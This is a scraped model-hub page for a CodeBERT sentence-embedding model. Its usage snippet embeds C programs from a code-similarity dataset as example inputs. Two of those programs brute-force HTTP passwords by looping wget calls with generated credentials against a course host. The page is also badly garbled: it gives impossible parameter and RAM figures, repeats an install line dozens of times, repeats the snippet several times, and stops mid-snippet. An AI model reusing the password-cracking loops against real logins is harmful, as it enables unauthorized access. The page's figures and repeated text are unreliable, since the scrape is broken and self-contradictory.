SOCO-C-CodeBERT-ST
3
—
by
buelfhood
Embedding Model
OTHER
1703.07737B params
New
3 downloads
Early-stage
Edge AI:
Mobile
Laptop
Server
3807GB+ RAM
Mobile
Laptop
Server
Quick Summary
SentenceTransformer based on microsoft/codebert-base This is a sentence-transformers model finetuned from microsoft/codebert-base.
Device Compatibility
Mobile
4-6GB RAM
Laptop
16GB RAM
Server
GPU
Minimum Recommended
1587GB+ RAM
Code Examples
Usagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
